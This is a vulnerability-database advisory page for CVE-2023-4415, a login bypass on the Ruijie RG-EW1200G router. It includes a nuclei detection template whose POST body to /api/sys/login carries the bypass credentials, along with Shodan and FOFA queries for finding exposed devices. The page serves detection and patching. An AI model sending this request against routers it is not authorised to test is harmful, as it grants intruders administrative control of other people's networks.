HexBrain

Browse / CVEs / CVE-2023-4415

CVE-2023-4415· ruijienetworks / rg-ew1200g firmware· CWE-287

Ruijie RG-EW1200G Router Background - Login Bypass

highseverity
8.8CVSS score
58.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in Ruijie RG-EW1200G 07161417 r483. It has been rated as critical. Affected by this issue is some unknown functionality of the file /api/sys/login. The manipulation leads to improper authentication. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-237518 is the identifier assigned to this vulnerability.

Impact

Attackers can bypass authentication on the Ruijie RG-EW1200G router through improper authentication checks in the login API, potentially gaining administrative access to the router and compromising network security.

Fix

Update Ruijie RG-EW1200G firmware to a version newer than 07161417 r483 that implements proper authentication validation in the login API.

How to confirm it

Send: POST {{BaseURL}}/api/sys/login
Positive when: contains "\"result\":\"ok\"" and "\"msg\":\"登入成功\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4415 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-4415

info:
  name: Ruijie RG-EW1200G Router Background - Login Bypass
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Ruijie RG-EW1200G 07161417 r483. It has been rated as critical. Affected by this issue is some unknown functionality of the file /api/sys/login. The manipulation leads to improper authentication. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-237518 is the identifier assigned to this vulnerability.
  impact: |
    Attackers can bypass authentication on the Ruijie RG-EW1200G router through improper authentication checks in the login API, potentially gaining administrative access to the router and compromising network security.
  remediation: |
    Update Ruijie RG-EW1200G firmware to a version newer than 07161417 r483 that implements proper authentication validation in the login API.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4415
    - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G-logic
    - https://vuldb.com/?ctiid.237518
    - https://vuldb.com/?id.237518
    - https://github.com/thedarknessdied/Ruijie_RG-EW1200G_login_bypass-CVE-2023-4415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-4415
    cwe-id: CWE-287
    epss-score: 0.58296
    epss-percentile: 0.99103
    cpe: cpe:2.3:o:ruijienetworks:rg-ew1200g_firmware:07161417_r483:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ruijienetworks
    product: rg-ew1200g_firmware
    shodan-query: http.html:"app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
    fofa-query: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
  tags: cve2023,cve,ruijie,router,ruijienetworks,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/sys/login"

    body: |
      {
        "username":"2",
        "password":"admin",
        "timestamp":1695218596000
      }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"ok"'
          - '"msg":"登入成功"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from